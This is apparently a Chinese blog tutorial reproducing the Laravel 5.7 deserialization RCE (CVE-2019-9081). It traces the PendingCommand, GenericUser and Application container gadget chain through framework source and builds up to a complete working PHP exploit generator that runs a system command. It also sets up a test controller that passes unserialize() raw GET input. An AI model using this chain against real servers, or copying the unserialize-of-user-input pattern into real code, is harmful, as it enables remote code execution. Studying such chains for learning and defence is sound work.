laravel5.7 反序列化漏洞复现

前言

之前接触yii2,接下来就遇到laravel5.7的反序列化了,跟着大师傅们的文章复现了一下laravel5.7的反序列化链,学习了一波。
CVE编号是CVE-2019-9081:

The Illuminate component of Laravel Framework 5.7.x has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the PendingCommand class in PendingCommand.php.

去github上下载源码:
laravel5.7,下载下来的可能回没有vendor目录,需要在根目录执行composer install就可以了。

然后就是构造一个反序列化的利用点了,在routes/web.php里面加一条路由:

Route::get('/unserialize',"UnserializeController@uns");

然后在App\Http\Controllers下面写一个控制器:

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    
    
    public function uns(){
    
    
        if(isset($_GET['c'])){
    
    
            unserialize($_GET['c']);
        }else{
    
    
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

准备工作就做完了,开始分析反序列化链。

反序列化链分析

有一说一这条链真要完完全全进行分析的话,需要一定的开发水平,因为像我这样第一次接触laravel的0开发小白+代码审计小白,利用上注释,能清晰的理解这条链上三分之一的代码就很难得了,所以这条链的审计给我的体会就是学会打断点,忽略掉无用代码(我看不懂的就是无用的,笑),只要一路下去能顺利执行,就不要管中间那些代码是干啥的。

和laravel5.6相比,laravel5.7多了PendingCommand.php这个文件:
在这里插入图片描述
该类的作用是命令执行,并获取输出内容。
看一下这个新增的类,发现有一个__destruct()。经过了之前yii2的审计,现在看到__destruct()就很兴奋:
在这里插入图片描述

$this->hasExecuted默认是false的,所以可以直接进入run方法:

    /**
     * Execute the command.
     *
     * @return int
     */
    public function run()
    {
    
    
        $this->hasExecuted = true;

        $this->mockConsoleOutput();
        
        try {
    
    
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
    
    
            if ($e->getMethodName() === 'askQuestion') {
    
    
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
    
    
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {
      
      $this->expectedExitCode} but received {
      
      $exitCode}."
            );
        }

        return $exitCode;
    }

文档注释上写着Execute the command,我差点都以为这是开发留的后门了。。。
不过我们要明确一点,我们最终的目的就是这里:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

所以跟进到$this->mockConsoleOutput();

    /**
     * Mock the application's console output.
     *
     * @return void
     */
    protected function mockConsoleOutput()
    {
    
    
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
    
    
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
    
    
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
    
    
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
    
    
            return $mock;
        });
    }

一堆我看不懂的代码,不过问题不大,只要可以正常执行到命令执行的call函数,就问题不大,写个POC试试:

<?php
namespace Illuminate\Foundation\Testing{
    
    
    class PendingCommand
    {
    
    
        protected $command;
        protected $parameters;
        public function __construct(){
    
    
            $this->command="system";
            $this->parameters[]="dir";
        }
    }
}
namespace{
    
    

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

报错了:
在这里插入图片描述

Trying to get property 'expectedOutput' of non-object

打一下断点,发现是mockConsoleOutput()方法的这里:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
    (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

跟进到createABufferedOutputMock()函数里

foreach ($this->test->expectedOutput as $i => $output) {
    
    

报错的原因就是因为$this->test没有expectedOutput这个属性。跟进一下这个属性,发现这个属性在trait InteractsWithConsole中,trait类我们没法实例化,此外就只有一些测试类有这个属性,因此这里就卡住了。这时候想到利用__get方法:

读取不可访问属性的值时,__get() 会被调用。

大师傅们经过寻找,选择了Illuminate\Auth\GenericUser类:
在这里插入图片描述
attributes是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()方法中也有类似的代码:

foreach ($this->test->expectedQuestions as $i => $question) {
    
    

因此这里同样构造即可:

<?php
namespace Illuminate\Foundation\Testing{
    
    

    use Illuminate\Auth\GenericUser;

    class PendingCommand
    {
    
    
        protected $command;
        protected $parameters;
        public $test;
        public function __construct(){
    
    
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
        }
    }
}
namespace Illuminate\Auth{
    
    
    class GenericUser
    {
    
    
        protected $attributes;
        public function __construct(){
    
    
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
    
    

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

再打一下,发现还是报错:

“Call to a member function bind() on null”

跟进一下,发现还是mockConsoleOutput方法,最后一行出了问题:

        $this->app->bind(OutputStyle::class, function () use ($mock) {
    
    
            return $mock;
        });

原因应该是没有构造$this->app,看一下这个app:

    /**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    protected $app;

说明是\Illuminate\Foundation\Application的实例,构造一波:

<?php
namespace Illuminate\Foundation\Testing{
    
    

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
    
    
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
    
    
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    
    
    class Application{
    
    
        
    }

}
namespace Illuminate\Auth{
    
    
    class GenericUser
    {
    
    
        protected $attributes;
        public function __construct(){
    
    
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
    
    

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

还是报了错:

Target [Illuminate\Contracts\Console\Kernel] is not instantiable

这就是这条链的构造上最难的点了,打断点看一下哪里的问题,发现是这里:

try {
    
    
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} 

没错,已经进行到了最关键的地方了,看到这个$this->app[Kernel::class]会很懵,$this->app不是application类的实例吗,为什么会当成数组?而Kernel::class又是什么?
Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel
打断点跟进看一下,发现进入了这个函数:

    /**
     * Get the value at a given offset.
     *
     * @param  string  $key
     * @return mixed
     */
    public function offsetGet($key)
    {
    
    
        return $this->make($key);
    }

注释也写的很清楚了,返回给定的offset的值,继续跟进make:

    /**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    public function make($abstract, array $parameters = [])
    {
    
    
        return $this->resolve($abstract, $parameters);
    }

继续跟进:

    /**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    protected function resolve($abstract, $parameters = [])
    {
    
    
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
    
    
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) {
    
    
            $object = $this->build($concrete);
        } else {
    
    
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
    
    
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
    
    
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    }

可以看到最终会返回一个object,我们是要调用这个object的call方法来执行命令,全局查找一下,这个执行命令的call方法到底在哪个类:

    /**
     * Call the given Closure / class@method and inject its dependencies.
     *
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @param  string|null  $defaultMethod
     * @return mixed
     */
    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
    
    
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

发现在container类里,而构造的app的类是Application类,这个类正好也是container类的子类,所以最终返回这个Application的实例就可以了。
看一下resolve()方法的代码:

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]。

        $concrete = $this->getConcrete($abstract);

跟进看一下:

    /**
     * Get the concrete type for a given abstract.
     *
     * @param  string  $abstract
     * @return mixed   $concrete
     */
    protected function getConcrete($abstract)
    {
    
    
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
    
    
            return $concrete;
        }

        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) {
    
    
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

第一个if成立不了,主要是这里:

        if (isset($this->bindings[$abstract])) {
    
    
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;

因为bindings是container的属性,而这里的$this其实就是我们传的app,app的类正好是container的子类,所以bindings的属性同样可控,因此getConcrete()函数的返回值是我们可控的。
getConcrete()函数之后是这个:

        if ($this->isBuildable($concrete, $abstract)) {
    
    
            $object = $this->build($concrete);
        } else {
    
    
            $object = $this->make($concrete);
        }
    protected function isBuildable($concrete, $abstract)
    {
    
    
        return $concrete === $abstract || $concrete instanceof Closure;
    }

这里的$concrete是我们可控的,而$abstractIlluminate\Contracts\Console\Kernel。经过打断点测试,$this->build($concrete)得到的结果基本就是最终这个get the value of offset返回的了,因此要想办法让$concreteIlluminate\Foundation\Application,既然$concrete可控,那就写一下POC:

<?php
namespace Illuminate\Foundation\Testing{
    
    

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
    
    
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
    
    
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    
    
    class Application{
    
    
        protected $bindings = [];
        public function __construct(){
    
    
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    
    
    class GenericUser
    {
    
    
        protected $attributes;
        public function __construct(){
    
    
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
    
    

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

这样到了

        if ($this->isBuildable($concrete, $abstract)) {
    
    
            $object = $this->build($concrete);
        } else {
    
    
            $object = $this->make($concrete);
        }

的时候,$concreteIlluminate\Foundation\Application$abstractIlluminate\Contracts\Console\Kernel,无法isBuildable,还会再进入一次make,不过这次make中的$concrete就是我们构造的了。进入make,然后再进入resolve,再进入getConcrete()方法:

        if (isset($this->bindings[$abstract])) {
    
    
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;

不存在$this->bindings['Illuminate\Foundation\Application'],所以会直接return Illuminate\Foundation\Application,这样$abstract也是Illuminate\Foundation\Application了,满足isBuildable(),进入build():

    /**
     * Instantiate a concrete instance of the given type.
     *
     * @param  string  $concrete
     * @return mixed
     *
     * @throws \Illuminate\Contracts\Container\BindingResolutionException
     */
    public function build($concrete)
    {
    
    
        // If the concrete type is actually a Closure, we will just execute it and
        // hand back the results of the functions, which allows functions to be
        // used as resolvers for more fine-tuned resolution of these objects.
        if ($concrete instanceof Closure) {
    
    
            return $concrete($this, $this->getLastParameterOverride());
        }

        $reflector = new ReflectionClass($concrete);

        // If the type is not instantiable, the developer is attempting to resolve
        // an abstract type such as an Interface or Abstract Class and there is
        // no binding registered for the abstractions so we need to bail out.
        if (! $reflector->isInstantiable()) {
    
    
            return $this->notInstantiable($concrete);
        }

        $this->buildStack[] = $concrete;

        $constructor = $reflector->getConstructor();

        // If there are no constructors, that means there are no dependencies then
        // we can just resolve the instances of the objects right away, without
        // resolving any other types or dependencies out of these containers.
        if (is_null($constructor)) {
    
    
            array_pop($this->buildStack);

            return new $concrete;
        }

        $dependencies = $constructor->getParameters();

        // Once we have all the constructor's parameters we can create each of the
        // dependency instances and then use the reflection instances to make a
        // new instance of this class, injecting the created dependencies in.
        $instances = $this->resolveDependencies(
            $dependencies
        );

        array_pop($this->buildStack);

        return $reflector->newInstanceArgs($instances);
    }

可以看到这里:

$reflector = new ReflectionClass($concrete);

利用反射机制,实例化了Illuminate\Foundation\Application类,最后逐层返回我们创建的对象,最终$this->app[Kernel::class]返回的就是实例化的Illuminate\Foundation\Application类了。然后开始调用call方法,继续跟进:

    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
    
    
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

再跟进到BoundMethod::call

    /**
     * Call the given Closure / class@method and inject its dependencies.
     *
     * @param  \Illuminate\Container\Container  $container
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @param  string|null  $defaultMethod
     * @return mixed
     */
    public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
    
    
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
    
    
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
    
    
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }

打断点就知道第一个if满足不了,然后直接return,注意一下这个匿名函数:

function () use ($container, $callback, $parameters) {
    
    
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );

直接调用了call_user_func_array,命令执行就是这里了。$callback是我们构造的system,跟进一下static::getMethodDependencies

    /**
     * Get all dependencies for a given method.
     *
     * @param  \Illuminate\Container\Container  $container
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @return array
     */
    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
    
    
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
    
    
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }

打断点看一下,发现中间的哪个foreach没什么用,到了这里:

return array_merge($dependencies, $parameters);

合并数组,这里$dependencies还是空数组,$parameters就是我们构造的哪个:

$this->parameters[]="dir";

所以没啥影响,相当于执行,这条反序列化链最终相当于这样:

call_user_func_array('system',array(0=>'dir));

成功执行命令。
在这里插入图片描述

总结

经过这次对于laravel5.7反序列化链的复现,终于掌握了phpstorm断点调式的技巧,对于反序列化链的挖掘也有了更多的经验,代码审计的能力也提高了,学到了学到了。
参考文章:
laravelv5.7反序列化rce(CVE-2019-9081)

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113826483